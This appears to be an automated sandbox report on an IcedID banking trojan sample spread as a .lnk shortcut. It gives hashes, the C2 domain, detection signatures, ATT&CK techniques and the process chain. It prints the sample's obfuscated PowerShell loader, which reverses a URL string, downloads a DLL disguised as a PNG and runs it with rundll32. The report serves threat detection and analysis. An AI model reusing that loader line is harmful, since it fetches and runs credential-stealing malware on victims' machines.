icedid | 50518300d02153d04bf8eb8efd784fd88db56fbae142c1cfd5af45a52023d262

General

Target

doc_2265273.lnk
Size

2KB
MD5

a312e810fd34a9668948d6fa45982d25
SHA1

a54e369404b7f2a1bc894116c4f9ee619cefe294
SHA256

50518300d02153d04bf8eb8efd784fd88db56fbae142c1cfd5af45a52023d262
SHA512

19dd647a3332b11440cce6ef2b129e09f3d280b997d8bc64449f2676f7dec5e8c260c494551a79faebc4b6e9c0bbfc955ea1d37018da013cd84266bcd9335fef

Score

10^/10

icedid 227378761 banker loader suricata trojan

Malware Config

Extracted

Family

icedid

Campaign

227378761

C2

blionarywesta.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

5 4176 powershell.exe
14 4908 rundll32.exe
Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation cmd.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

4908 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

4176 powershell.exe
4176 powershell.exe
4908 rundll32.exe
4908 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4176 powershell.exe

flow	pid	process
5	4176	powershell.exe
14	4908	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	cmd.exe

pid	process
4908	rundll32.exe

pid	process
4176	powershell.exe
4176	powershell.exe
4908	rundll32.exe
4908	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	4176	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 2964 wrote to memory of 4176	2964	cmd.exe	powershell.exe
PID 2964 wrote to memory of 4176	2964	cmd.exe	powershell.exe
PID 4176 wrote to memory of 4908	4176	powershell.exe	rundll32.exe
PID 4176 wrote to memory of 4908	4176	powershell.exe	rundll32.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\doc_2265273.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $s='/g54y5gcm548757vy/evres/dx/us.ssseniram//:ptth'; $r=$s[-1..-($s.Length)] -join ''; iwr -uri $r -o "c:\users\public\default.png";ru"ndll"32 c:\users\public\default.png,`#1
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" c:\users\public\default.png,#1
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:4908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\default.png

Filesize
534KB

MD5
e73bd08a80f0dd8a1a8689b11646f27e

SHA1
76e2a4b1ca29d162802fb9a034cb99b4e30a31b3

SHA256
01028a8efcec87d9eafe0ce85b8e968e1df97562f2a5e612e5ff92436706684f

SHA512
6400582634591ff07fc4fc6dd87745d4528fb7cf6ca6524380a437ac6a20644e3d0f1bc86a367d33c17cabf2dd04a8f7fac05402aaf937807342cc421c9aaf15

Download Submit
\??\c:\users\public\default.png

Filesize
534KB

MD5
e73bd08a80f0dd8a1a8689b11646f27e

SHA1
76e2a4b1ca29d162802fb9a034cb99b4e30a31b3

SHA256
01028a8efcec87d9eafe0ce85b8e968e1df97562f2a5e612e5ff92436706684f

SHA512
6400582634591ff07fc4fc6dd87745d4528fb7cf6ca6524380a437ac6a20644e3d0f1bc86a367d33c17cabf2dd04a8f7fac05402aaf937807342cc421c9aaf15

Download Submit
memory/4176-130-0x0000000000000000-mapping.dmp

Download
memory/4176-131-0x00000177AAA50000-0x00000177AAA72000-memory.dmp

Filesize
136KB

Download
memory/4176-132-0x00007FFF18C50000-0x00007FFF19711000-memory.dmp

Filesize
10.8MB

Download
memory/4176-136-0x00007FFF18C50000-0x00007FFF19711000-memory.dmp

Filesize
10.8MB

Download
memory/4908-133-0x0000000000000000-mapping.dmp

Download
memory/4908-137-0x0000000180000000-0x0000000180009000-memory.dmp

Filesize
36KB

Download

Analysis

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